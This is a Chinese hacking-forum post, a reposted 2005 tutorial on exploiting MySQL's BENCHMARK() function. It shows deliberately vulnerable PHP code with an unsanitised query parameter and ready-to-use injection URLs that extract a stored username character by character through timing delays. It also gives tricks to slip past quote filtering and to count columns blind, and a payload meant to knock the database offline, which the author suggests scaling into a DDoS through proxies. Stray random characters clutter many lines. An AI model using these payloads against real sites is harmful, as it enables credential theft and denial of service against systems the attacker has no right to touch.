找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2123|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
0 J1 J7 A3 ?- o7 A& y本文作者:SuperHei
5 R. H% }$ ~3 S7 B1 g* S7 ^* g文章性质:原创
$ U- Y% q" W( x; P; u7 y发布日期:2005-01-02
- u$ |8 k6 ]1 |7 P/ h' d完成日期:2004-07-09
. B& F% B  b' T/ h第一部- N. n% o, k0 o: ]9 Q. U
; Z1 c; S+ H7 m, e
利用时间推延进行注射---BENCHMARK函数在注射中的利用 + ~- Z/ r/ a( {& }. E" i' \

, a* a, z8 U- Z4 s! y一.前言/思路
* H- k6 |: B% B1 N, b0 S" B: k  j9 g* w9 m$ S8 F5 G7 m4 R! y
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。. @5 F: d, a1 Y# e( i

7 u) n5 y8 j& e  |/ t- x0 @  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
. Q% O) ^; f; t  k7 t4 ]/ u2 a8 a: c* W- `- ]
二.关于BENCHMARK函数8 O2 ]* w1 ]- Y; ^& R' O& p

$ `( }+ }( i  U4 r" Q  在MySQL参考手册里可以看到如下描叙:
# ?6 G$ x, B: k: g! F4 D* S0 x: k+ D% Q: O* i* L1 P
) Q3 m5 J+ Q6 ~1 @( r
--------------------------------------------------------------------------------; d+ [# _, g- C$ h* [; b! M
3 ]) `9 e) @% M
BENCHMARK(count,expr) ; W! c2 P! d" {/ s8 f$ b& P
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
$ R% @) ~( s& J! b- u  xmysql> select BENCHMARK(1000000,encode("hello","goodbye"));   J) t+ x$ I3 {# w; `$ v( ]
+----------------------------------------------+ - u7 f% D+ y/ S# l7 `5 z. z0 l
| BENCHMARK(1000000,encode("hello","goodbye")) |
2 O8 }8 ]+ N/ L$ y8 K/ b+----------------------------------------------+ ' P* h. e1 F+ n, @! k
| 0 |
% k+ x- M0 ?9 v5 Y! e" `+----------------------------------------------+
* r. _+ M' @" g% {2 [5 q/ q8 ^3 ~  u1 row in set (4.74 sec) % W- T, }0 F" y4 {! {" I- S
% H0 ^2 R5 }7 {  X# t  v
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。, H+ a2 i8 N" c( w6 G

+ ~$ \5 Y+ V' b/ @; A, w; t5 P  N6 {1 }1 k, t0 q' ?
--------------------------------------------------------------------------------+ r) \. T$ O5 ~0 o

* |2 s, T9 {2 }$ u  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
& F% Q$ S/ {, j! N2 {' E6 f1 A7 G+ o6 Z
mysql> select md5( 'test' ); ! `# r" d7 |4 U
+----------------------------------+ " P0 b( B( h  A, x
| md5( 'test' ) |
: w3 S( L* Z- X; ~+----------------------------------+ 8 T) ?! P& |  K
| 098f6bcd4621d373cade4e832627b4f6 | 2 {. F8 k1 J' e
+----------------------------------+
" f2 q+ y, W& u% z7 |$ Y# W1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec . w, g1 j0 B; ^) Y( Y) w9 r
% u4 @  f) [. F# l# @
mysql> select benchmark( 500000, md5( 'test' ) );
& ^$ U4 [& Z( m+------------------------------------+ 1 Q8 y. f3 i  I* G& {
| benchmark( 500000, md5( 'test' ) ) |
: M" [6 p4 _0 Q+------------------------------------+ ' z$ |2 M$ h: a% ]  W
| 0 |
- c9 u. c) R' W3 x! ^8 }2 S- C, F+------------------------------------+
/ W3 `6 ]! ^9 r5 B% K1 ~1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
! _( k) w- _' a: r0 c4 i+ z ! L( ]. ^8 u) G- h& U
+ p% [) `# ~: N8 y. o1 y
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
( K( F' M- S# ~3 p3 D
( w) \3 C- _# Q! }# ~3 A三.具体例子
$ q. {! u( F+ D4 R
. O3 `1 W/ s3 e. Q  首先我们看个简单的php代码:
9 y7 `: M9 p" S8 g; I
3 Q* z8 I/ G( c< ?php 4 A3 H8 I" B& i& x/ R: D
$servername = "localhost"; ) }% o  `% e( a# S
$dbusername = "root";
1 Z: ~, U! n, Y, S1 g+ J$dbpassword = ""; ! R, x0 z  _5 o" Y" F- r
$dbname = "injection"; - O1 ], j% G3 U) j8 ^) s
$ G! _7 J: g. k6 M4 K
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ' S: B+ N8 H6 h+ ^2 ?+ v1 k4 t
+ W4 p0 f6 m+ W% {' w8 W
$sql = "SELECT * FROM article WHERE articleid=$id";
' a8 W/ w) n. H, X$result = mysql_db_query($dbname,$sql);
/ V+ j( }1 \: z3 g1 q$row = mysql_fetch_array($result);
& V. L* f5 U7 [: b) y! V
; e, x. A, N8 I/ m0 l4 Fif (!$row) / Y' f: r1 X9 N
{ 8 \9 Q9 j0 T! O6 l. `: T# \
exit;   k+ v) ?/ t2 N6 f. m
}
* T4 J4 W$ k! U?>& p* t+ ?' @: W  u9 O* `" t

1 @' g2 C; V# c; D" o
: d- P5 L  @8 k) k' \  数据库injection结构和内容如下:
' ?  `6 z. I' i$ ?- h" }8 e2 _4 g( q! X3 S- r* A' P
# 数据库 : `injection` * M+ T! a+ _6 H" A9 V
#
5 |; _5 D" Q/ J% w
+ D& C/ v3 n! \2 n% R# -------------------------------------------------------- ) U2 B4 C0 r0 {0 X( g7 X' D7 ~
" l2 ~2 D: V0 E. b( s3 N8 i
#
* x) k% L8 l. v+ m# 表的结构 `article` 7 y$ @4 `7 P2 N" R0 e/ R: B
#
% I3 a. A4 y- |: G6 Q: a/ ], ~
. N3 C8 R% T7 r! i0 tCREATE TABLE `article` ( + g. k8 G1 S& `1 Y
`articleid` int(11) NOT NULL auto_increment,
8 B: O- s2 {& S`title` varchar(100) NOT NULL default '',   A  K# K9 `7 Y8 Q* M0 ?
`content` text NOT NULL,
1 }& a; J4 U9 R* kPRIMARY KEY (`articleid`) 4 [/ l- D# I' \1 h+ A" Z
) TYPE=MyISAM AUTO_INCREMENT=3 ;   }+ n. v; C% S+ m; c1 @/ R
1 p$ k5 U, d: }- M. G
#
+ _% I2 G1 p. R) {+ b4 ^# 导出表中的数据 `article` + T3 w/ k, {6 }  Q" ?  k* S
#
4 [3 R9 _) x" B. h# u5 Z- l: P5 _, T( a
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
" ]/ N, {9 X0 ~INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 3 W$ y" B$ T$ S3 r1 o" f6 L
+ g, [* `. ~1 Q( a* j2 m% ]
# -------------------------------------------------------- 1 T2 A1 q" f& J3 q6 D
0 |* |6 }( g9 v/ s9 P9 I6 c$ \/ i
#
& h0 N( ]" L" X! x  ?# 表的结构 `user` & o1 x" Q- S/ V+ @8 Y  i& g- b" Y
#
; b3 ~- b; u/ Z1 A; ~5 m7 ^8 h2 j9 b* d
CREATE TABLE `user` ( ' C- @+ e5 r! o8 e
`userid` int(11) NOT NULL auto_increment,
: D3 r: z$ C  S' ?' M$ B! M`username` varchar(20) NOT NULL default '',
. x% r: S# K+ T& Q5 i& h0 ^! n( r% @`password` varchar(20) NOT NULL default '', 9 {! s/ U% d' f7 x
PRIMARY KEY (`userid`) ' d) M- w* g9 t: V
) TYPE=MyISAM AUTO_INCREMENT=3 ; , p1 K0 I. y, W) H) B

4 M5 q$ f4 c3 k. M7 t0 Z3 D# * c% r$ J/ y% k, }
# 导出表中的数据 `user`
7 Z7 k% d# z% `/ i" }* B0 [#
# r7 Q+ T: n) d% Q% B
0 |1 I; [8 ]$ @2 aINSERT INTO `user` VALUES (1, 'angel', 'mypass');
# Y9 T; B7 E7 Q6 fINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');& z" n, W0 I. Q1 r) ]. q' U
( f% w1 b- O7 F4 n; E& e2 F
7 q+ A6 s! `8 n9 V3 [
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:( G6 \- B; J; x4 j
9 B# V; q/ z' Z* j* C" @
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*8 q) m( X2 c4 N

& o4 f0 V+ {, V- M+ ]1 c% I& t# f8 @' E, f7 u, y7 C
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:, r' _4 F. I) x

' w! z; O3 s# l4 \/ C5 u8 Z8 d+ ihttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
/ Z& Q( I1 t. u  z
0 R2 }- N' l0 X# S' h( f- x7 T' w2 G; J: e) K" K
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 5 C6 T% Z3 H+ I9 \4 c3 s
9 i! U3 W8 Q- G  ~) W) B+ A( J
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 0 r/ H$ E; }' l/ y, k: |; Y- h
) }' u0 t* D5 z# A1 v9 I# [
第二部- i; K5 l( e  L
  x0 H- B* P' U  O+ O4 d
利用BENCHMARK函数进行ddos攻击
8 o, q7 c$ o% S; _9 H8 \* ~# N6 w
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
1 t2 ?  Q3 S) V* E+ L
' s! p; A9 q1 O( [; ?http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))" ?: g  P( J7 |/ X4 I2 z, \

# Q0 |$ E4 B0 {( q" O
! f' c4 O; [" |; R; T/ j% G! |小结
) S! C" P: R# T; L' ^, k5 c! X0 h0 t. Y' U5 ?( g
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
" Y6 a$ F( V9 H- S
/ Q9 R$ B/ O5 k' Q; s- n  9 m' r) O' z& B- y! I1 H( {* \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表